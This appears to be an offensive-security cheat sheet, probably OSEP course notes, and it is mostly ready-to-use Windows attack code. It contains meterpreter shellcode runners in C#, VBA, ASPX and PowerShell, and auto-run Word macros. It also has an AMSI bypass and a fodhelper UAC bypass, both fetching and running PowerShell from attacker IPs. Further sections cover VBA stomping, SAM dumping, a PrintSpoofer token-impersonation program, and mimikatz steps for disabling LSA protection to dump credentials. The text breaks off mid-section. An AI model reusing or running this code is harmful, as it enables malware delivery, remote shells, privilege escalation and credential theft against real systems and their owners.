        static void Main(string[] args)
        {
            byte[] buf = new byte[510] {0xfe, 0x4a,.....
};
            for(int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            }

            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
                IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

VBA shellcode

Change the XOR vba runner with this

For i = 0 To UBound(buf)
buf(i) = buf(i) - 2
Next i

XOR

CSharp

using System.Runtime.InteropServices;
using System;

namespace rev
{
    public class Program
    {
        public const uint EXECUTEREADWRITE  = 0x40;
        public const uint COMMIT_RESERVE = 0x3000;

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);

        public static void Main()
        {

            DateTime t1 = DateTime.Now;
            Sleep(10000);
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
            if (deltaT < 9.5)
            {
                return;
            }

            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
            // XORed with key 0xfa
            byte[] buf = new byte[511] {
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa
            };
            int payloadSize = buf.Length;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);
            }
            Marshal.Copy(buf, 0, payAddr, payloadSize);
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
            int waitResult = WaitForSingleObject(payThreadId, -1);
        }
    }
}

VBA

Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "KERNEL32" (ByVal callback As LongPtr) As LongPtr
Sub MyMacro() 
    Dim allocRes As LongPtr
    Dim t1 As Date
    Dim t2 As Date
    Dim time As Long
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr
    
    ' Call FlsAlloc and verify if the result exists
    allocRes = FlsAlloc(0)
    If IsNull(allocRes) Then
        End
    End If
    
    ' Sleep for 10 seconds and verify time passed
    t1 = Now()
    Sleep (10000)
    t2 = Now()
    time = DateDiff("s", t1, t2)
    If time < 10 Then
        Exit Sub
    End If
    
    ' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)
    
    ' Allocate memory space
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

    ' Decode the shellcode
    For i = 0 To UBound(buf)
        buf(i) = buf(i) Xor 250
    Next i
    
    ' Move the shellcode
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter

    ' Execute the shellcode
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
    MyMacro
End Sub
Sub AutoOpen()
    MyMacro
End Sub

Simple Shellcode Runners

ASPX

OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

    [System.Runtime.InteropServices.DllImport("kernel32")]  
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

    [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling = true)]   
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

    [System.Runtime.InteropServices.DllImport("kernel32.dll")]  
    private static extern IntPtr GetCurrentProcess();

    protected void Page_Load(object sender, EventArgs e)
    {
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
        if(mem == null)
        {
            return;
        }
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};
        for(int i = 0; i < oe7hnH0.Length; i++)
        {
        oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) & 0xFF);
        }
        IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);
        IntPtr xE34tIARlB = IntPtr.Zero;
        IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);
}
</script>

Csharp

If compiled for x64 remember to set architecture to x64 in visual studios.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp
            byte[] buf = new byte[630] {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                // ... (other bytes)
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
            };

            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

Powershell

Ver 1 – Ported from Csharp to Powershell

run.txt

$Kernel32 = @" 
using System;
using System.Runtime.InteropServices;
public
class Kernel32 {
  [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  [DllImport("kernel32", CharSet = CharSet.Ansi)] public static extern IntPtr
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
               IntPtr lpThreadId);
  [DllImport("kernel32.dll", SetLastError = true)] public static extern UInt32
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
} 
"@

Add-Type $Kernel32
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..

$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

Ver 2

run.txt

# Compact AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)

# Shellcode loader >:]
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
    Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
    @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
    [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
    [System.MulticastDelegate])
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

# Allocate executable memory
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), 
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

# Copy shellcode to allocated memory
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

# Execute shellcode and wait for it to exit
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)

Trigger from Word Macro

# Trigger from Word Macro
Sub MyMacro()
	Dim str As String
	str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
	Shell str, vbHide
End Sub
Sub Document_Open()
	MyMacro
End Sub
Sub AutoOpen()
	MyMacro
End Sub 

VBA

Create a macro in Word (See cheatsheet I) and insert code.

If Word is running in 64-bit the code below will need changes.

VBA Shellcode Runner – Compile Error: Type Mismatch (offsec.com)

# For the code below to work in 64-bit Word.
# If you're still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.

# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I'm not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can't, so maybe it has to do with my not returning anything anymore.

Code:
Private Declare PtrSafe Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)

# Second, I changed the line calling RtlMoveMemory since it's not returning anything anymore.

Code:
Call RtlMoveMemory(addr + counter, data, 1)

# After making these changes it didn't error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.

Code:
Dim res As LongPtr

# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long

buf = Array(INSERT SHELLCODE HERE)

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)

End Function

Sub Document_Open()
MyMacro
End Sub

Sub AutoOpen()
MyMacro
End Sub

UAC Bypass

Fodhelper.exe

$yourevilcommand = 'powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.45.198/run3.txt'')"'



New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force


New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force


Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force


Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden


Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force


------------------------
function RegStuff {
    $cmd = "C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA"
    
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
    
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
}

function PrivEsc {
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
    Start-Sleep -s 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
}

RegStuff

VBA Stomping

A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.

  • Tools:
    • Hex Editor: For inspecting contents of unzipped modern files
    • FlexHEX: To inspect and edit the files

Steps to Perform VBA Stomping

  • Inspect Shellcode Runner
    • Use custom tools to inspect existing shellcode runners.
  • Understanding File Formats
    • Old Format: Compound File Binary Format.
    • New Format: Similar to .zip files.
  • Using FlexHEX
    • Open FlexHEX.
    • Navigate to  ​File > Open > OLE Compound File​ .
    • Open the Word document to inspect it.
  • Inspect Macro Information
    • For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.
  • Editing Macros
    • Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit > Insert Zero Block​ .
  • Understanding P-Code
    • P-Code: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.
    • Usage: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.
  • Performing VBA Stomping
    • Goal: Remove VBA source code while retaining P-code to bypass detection but still execute the code.
    • How:
      • Open the document in FlexHEX.
      • Locate the VBA source code in  ​NewMacros​ .
      • Select all bytes from “Attribute VB_Name” and remove it using  ​Edit > Insert Zero Block​ .
      • Save and re-compress the document.
  • Testing
    • Open the edited document in Word.
    • Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.

Automating VBA Stomping Using Evil Clippy

GitHub – outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.

EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc

Evil Clippy: MS Office maldoc assistant | Outflank

Usage Examples:

  • Print help: EvilClippy.exe -h
  • Hide macros from GUI: EvilClippy.exe -g macrofile.doc
  • Unhide macros: EvilClippy.exe -gg macrofile.doc
  • Stomp VBA (abuse P-code): EvilClippy.exe -s fakecode.vba macrofile.doc
  • Set target Office version for VBA stomping: EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
  • Set random module names: EvilClippy.exe -r macrofile.doc
  • Reset random module names: EvilClippy.exe -rr macrofile.doc
  • Serve a VBA stomped template via HTTP: EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot
  • Set Locked/Unviewable attributes: EvilClippy.exe -u macrofile.doc
  • Remove Locked/Unviewable attributes: EvilClippy.exe -uu macrofile.doc

Windows Credentials

SAM database

See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.

Shadow Volume Copy Workaround

Create a snapshot of the local hard drive using WMIC. Need to launch from an administrative command prompt:

C:\> wmic shadowcopy call create Volume='C:\'

Verify shadow volume:

C:\> vssadmin list shadows

Copy SAM from shadow volume:

C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam

Note: Run above command in  ​cmd.exe​ , not in PowerShell.

Encrypting SAM Database

SAM is encrypted by RC4 or AES. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:

C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system

Save SAM and SYSTEM from Registry

Using  ​reg save​  command:

C:\> reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam 
C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system

Read SAM, SYSTEM and SECURITY

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

# Or using creddump
https://github.com/Neohapsis/creddump7

python pwdump.py /home/kali/system /home/kali/sam

Access Tokens

  • Access tokens track user’s access rights after authentication.
  • They are assigned to each process associated with the user.
  • Access tokens are stored inside the kernel, preventing direct modification.

PrintSpoofer.exe

The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.

GitHub – itm4n/PrintSpoofer: Abusing impersonation privileges through the “Printer Bug”

  • SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or
    handle.
  • We will use SpoolSample.exe to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.
  • We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;

namespace PrintSpoofer
{
    public class Program
    {
        public static uint PIPE_ACCESS_DUPLEX = 0x3;
        public static uint PIPE_TYPE_BYTE = 0x0;
        public static uint PIPE_WAIT = 0x0;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;
        public static uint TOKENUSER = 1;
        public static uint SECURITY_IMPERSONATION = 2;
        public static uint TOKEN_PRIMARY = 1;

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public enum CreationFlags
        {
            DefaultErrorMode = 0x04000000,
            NewConsole = 0x00000010,
            NewProcessGroup = 0x00000200,
            SeparateWOWVDM = 0x00000800,
            Suspended = 0x00000004,
            UnicodeEnvironment = 0x00000400,
            ExtendedStartupInfoPresent = 0x00080000
        }
        public enum LogonFlags
        {
            WithProfile = 1,
            NetCredentialsOnly
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);

        [DllImport("kernel32.dll")]
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);

        [DllImport("Advapi32.dll")]
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentThread();

        [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool RevertToSelf();

        [DllImport("kernel32.dll")]
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);

        [DllImport("userenv.dll", SetLastError = true)]
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

        public static void Main(string[] args)
        {
            // Parse arguments (pipe name)
            if (args.Length != 2)
            {
                Console.WriteLine("Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe");
                return;
            }
            string pipeName = args[0];
            string binToRun = args[1];

            // Create our named pipe
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);

            // Connect to our named pipe and wait for another client to connect
            Console.WriteLine("Waiting for client to connect to named pipe...");
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);

            // Impersonate the token of the incoming connection
            result = ImpersonateNamedPipeClient(hPipe);

            // Open a handle on the impersonated token
            IntPtr tokenHandle;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);

            // Duplicate the stolen token
            IntPtr sysToken = IntPtr.Zero;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);

            // Create an environment block for the non-interactive session
            IntPtr env = IntPtr.Zero;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);

            // Get the impersonated identity and revert to self to ensure we have impersonation privs
            String name = WindowsIdentity.GetCurrent().Name;
            Console.WriteLine($"Impersonated user is: {name}.");
            RevertToSelf();

            // Get the system directory
            StringBuilder sbSystemDir = new StringBuilder(256);
            uint res1 = GetSystemDirectory(sbSystemDir, 256);

            // Spawn a new process with the duplicated token, a desktop session, and the created profile
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
            STARTUPINFO sInfo = new STARTUPINFO();
            sInfo.cb = Marshal.SizeOf(sInfo);
            sInfo.lpDesktop = "WinSta0\\Default";
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);
            Console.WriteLine($"Executed '{binToRun}' with impersonated token!");
        }
    }
}

Step 1 – Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell

  • Transfer to target.

Step 2 – Start the PrintSpoofer.exe

  • Specify the meterpreter binary
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe 

Step 3 – Coerce Windows to authenticate

  • Use SpoolSample.exe to authenticate.
  • When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.
  • If SpoolSample is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.
SpoolSample.exe appsrv01 appsrv01/pipe/test

Step 4 – bin.exe executed in the context of impersonated token

Using Meterpreter to impersonate users

  • Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.

Steps:

  • Load Incognito Extension:
 meterpreter > load incognito
  • Display Available Commands:
meterpreter > help incognito

Key Commands:

  •  add_group_user​ : Add a user to a global group with all tokens.
  •  add_localgroup_user : Add a user to a local group with all tokens.
  •  ​add_user : Add a user with all tokens.
  •  impersonate_token : Impersonate a specified token.
  •  list_tokens : List tokens available under the current user context.
  •  snarf_hashes : Capture challenge/response hashes for every token.
  • List Unique User Tokens:
  meterpreter > list_tokens -u

Output:

  • Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)
  • Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )
  • Impersonate a User Token:
  • Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.
meterpreter > impersonate_token corp1\\admin
  • Verify Impersonation:
meterpreter > getuid

Kerberos

  1. Domain Controller (DC): Acts as a Key Distribution Center (KDC).
  2. Authentication Server: Service run by the DC.
  3. Ticket Granting Ticket (TGT): Contains user info, domain, timestamp, client IP, and session key.
  4. Service Principal Name (SPN): Identifier for each instance of a service.

Disable LSA protection and dump cached creds

Download mimidrv 32bit or 64bit here OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)

  • Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.
  • Local Security Authority (LSA) Protection: Protects the LSASS memory space where password hashes are cached.
  • Protected Processes Light (PPL): Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.
  • LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.
# 1. Enable SeDebugPrivilege:
mimikatz # privilege::debug

# 2. Manually load the driver with the sc.exe Service Control application.
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand

sc start mimidrv

# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.
mimikatz # !+

# 4. Disable LSA Protection for LSASS:
mimikatz # !processprotect /process:lsass.exe /remove

# 5. Dump Credentials After Disabling LSA Protection:
mimikatz # sekurlsa::logonpasswords

Using PPLKiller

GitHub – RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)

Tool to bypass LSA Protection (aka Protected Process Light)

1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe
2. You'll always want to run PPLKiller.exe /installDriver first to install the driver
3. Run an attack like PPLKiller.exe /disableLSAProtection
4. Cleanup with PPLKiller.exe /uninstallDriver

Memory Dump with Mimikatz

  • Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.
  • Mimikatz can be used to parse these dumps and extract the desired information.
  1. Using Task Manager:
    • Right-click the task bar and select Task Manager.
